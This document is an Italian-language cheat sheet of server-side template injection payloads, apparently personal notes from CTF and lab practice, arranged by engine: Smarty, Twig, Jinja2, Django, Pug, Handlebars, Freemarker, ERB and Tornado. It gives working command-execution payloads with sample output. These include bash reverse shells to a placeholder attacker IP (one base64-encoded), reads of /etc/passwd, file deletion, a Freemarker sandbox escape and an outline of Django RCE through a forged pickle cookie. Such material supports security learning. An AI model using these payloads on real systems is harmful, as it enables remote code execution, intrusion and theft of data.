tags: SSTI_Payloads_per_Motore SSTI SSTI_Payloads


Smarty (PHP)

Rilevare il tipo di Template

#Payload 
 
{'Hello'|upper}
 
#Output
 
HELLO

Eseguire Comandi di Sistema

#Payload 
 
{system("ls")}
 
#Output 
 
flag.txt index.php smarty-3.1.30 smarty-3.1.30
 
#Reverse Shell
 
{system("bash -c 'bash -i >& /dev/tcp/TUO_IP/TUA_PORTA 0>&1'")}

Twig (PHP)

#Payload 
 
{{7*'7'}}
 
#Output
 
49

Jinja2 (Python)

Rilevare il tipo di Template

#Payload
 
{{7*'7'}}
 
#Output
 
7777777

Eseguire Comandi di Sistema

Per eseguire comandi di sitema in Jinja2 dobbiamo prima trovare la posizione della classe subprocess.CompletedProcess all’interno della sua memoria, per farlo possiamo prima lanciare il seguente payload che ci listerà tutte le classi:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Ora dobbiamo estrarre il numero di posizione di questa classe e lo possiamo fare immettendo l’output precedente in un file .txt e poi eseguire il seguente comando:

cat python.txt | sed 's/^\[//' | sed 's/\]$//' | tr "," "\n" | sed 's/^ *//' | sed 's/ *$//' | grep -n "subprocess"
 
157:<class 'subprocess.CompletedProcess'>
158:<class 'subprocess.Popen'>

Ora la sua posizione (157 in questo caso) la dovremo andare ad inserire nel seguente payload altrimenti non avrà nessun effetto:

#Payload per eseguire comandi di sistema singoli
 
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}
 
#Output
 
flag.txt app.js jade.js node
 
#Payload per eseguire comandi di sistema con più di un argomento
 
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['cat', 'flag.txt'])}}
 
#Output
 
THM{1f8c3b32ad3217e84c145398bae00876}

Nota

L'output di questi comandi inizierà sempre con b'

Django (Python)

 
{% debug %}
 
{{settings.SECRET_KEY}}
 

Ottenere una reverse shell o un RCE in Django è molto più complesso rispetto agli altri template, per saperne di più visita https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/django.html.

Il caso classico: se l’app usa il PickleSerializer con le sessioni signed-cookie, Django de-firma e fa l’unpickle del cookie di sessione prima di eseguire il codice della view; quindi possedere la chiave di firma (la SECRET_KEY) basta per una RCE immediata. Il meccanismo: conosci la SECRET_KEY → forgi un cookie di sessione che contiene un oggetto pickle malevolo (un __reduce__ che chiama os.system) → il server lo deserializza e il comando parte. Esistono tool pubblici che automatizzano esattamente questo (django-rce-exploit e simili). https://sc.scomurr.com/ssti-server-side-template-injection-with-information-disclosure-via-user-supplied-objects/

Jade/Pug (Node.js)

A differenza di Twig e Jinja Jade/Pug ti permette di eseguire direttamente codice javascript.

Rilevare il tipo di Template

//Payload 
 
#{7*7}
 
//Output
 
49
 
 

Eseguire Comandi di Sistema

//payload per vedere informazioni sull'utente
 
#{root.process.mainModule.require('child_process').spawnSync('id').stdout}
 
//Output
 
uid=0(root) gid=0(root) groups=0(root)
 
//Payload per eseguire comandi di sistema singoli
 
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
 
//output
 
flag.txt app.js jade.js node
 
//Payload per eseguire comandi di sistema con più di un argomento
 
#{root.process.mainModule.require('child_process').spawnSync('cat', ['flag.txt']).stdout}
 
//Output
 
THM{1f8c3b32ad3217e84c145398bae00876}

Handlebars (Node.js)

Identificazione

 
# Se l'output è `49`, la vulnerabilità è confermata.
 
{{7*7}}
 
# Utile per vedere se viene restituito `[object Object]` o proprietà interne.
 
{{this}}
 

RCE

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}

Una buona pratica è quella di encodearla in URL in modo da non avere problemi di parsing.

Oppure:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "INIEZIONE_JS"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

RCE: Comando Singolo (Output visibile)

Per verificare l’esecuzione remota e vedere l’output nella pagina web.

  • Funzione: execSync (blocca l’esecuzione e attende il risultato).

  • Metodo: .toString() per convertire il buffer in testo leggibile.

Da inserire al posto di INIEZIONE_JS:

return process.mainModule.require('child_process').execSync('id').toString();

4. RCE: Comando Complesso / Lettura File

Per eseguire comandi con spazi o argomenti multipli (es. leggere file sensibili).

  • Nota: Se il file contiene caratteri che rompono l’HTML, potresti vederlo formattato male, ma cat funziona regolarmente dentro le virgolette.

Da inserire al posto di INIEZIONE_JS:

return process.mainModule.require('child_process').execSync('cat /etc/passwd').toString();

Reverse Shell

Converti la reverse shell in base64:

echo -n "bash -c 'bash -i >& /dev/tcp/TUO_IP/4444 0>&1'" | base64

Inseriscila in questo payload:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "process.mainModule.require('child_process').exec(Buffer.from('INCOLLA_QUI_BASE64', 'base64').toString())"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Freemarker

Rilevamento

 
#{ 7 * 7 } ----> OUTPUT 49
 
${[“one”, “two”, “three”][1]} ------> OUTPUT two
 
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}  ---->  FreeMarker version: 2.3.29
 
<#assign test = .version>
TEST FOR SSTI: ${3*3}   ----->  TEST FOR SSTI: 9
 

RCE

1)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

2)

${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

3) Sandbox Evasion

<#assign classloader=article.class.protectionDomain.classLoader>  
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>  
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>  
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>  
${dwf.newInstance(ec,null)("cat /etc/passwd")}

Alle volte per evadere correttamente l’ambiente di sanbox bisogna modificare la classloader, per esempio in questo errore ce lo dice esplicitamente:

Ma nella sezione di default del template c’era scritto il tipo di classloader richiesto:

Quindi ci basta modificare il payload trasformando article in product per ottenere una RCE:

<#assign classloader=product.class.protectionDomain.classLoader>  
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>  
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>  
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>  
${dwf.newInstance(ec,null)("cat my_password.txt")}

Oppure puoi usare anche questo payload:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Ruby

<%= 7*7 %>  ----> 49

RCE

 
<%= system("whoami") %>
 
<%= system("rm prova.txt") %>
 

Tornado

Prova a chiudere il parametro che ritieni vulnerabile con la chiusura della sua espressione come se fosse l’' per le SQL Injection, per esempio con il template Tornado puoi fare nel seguente modo:

}}{%25+import+os+%25}{{os.system('ls')

Dove prendere il payload

MotoreRuntimeTipoObiettivo realisticoDove prendere il payload
Jinja2Python (Flask)RiccoRCEPayloadsAllTheThings / HackTricks
TwigPHPRiccoRCEPayloadsAllTheThings / HackTricks
ERBRubyRiccoRCE (system, backtick)PayloadsAllTheThings
TornadoPythonRiccoRCE (import os)PayloadsAllTheThings
FreemarkerJavaRicco (sandbox bypassabile)RCE / sandbox escapeHackTricks
VelocityJavaRiccoRCEHackTricks
Mako / SmartyPython / PHPRiccoRCEPayloadsAllTheThings
HandlebarsNodeRicco (serve la catena #with)RCEPayloadsAllTheThings / gist Zombiehelp54
Django (DTL)PythonRistrettoLeak (SECRET_KEY, settings)doc ufficiale Django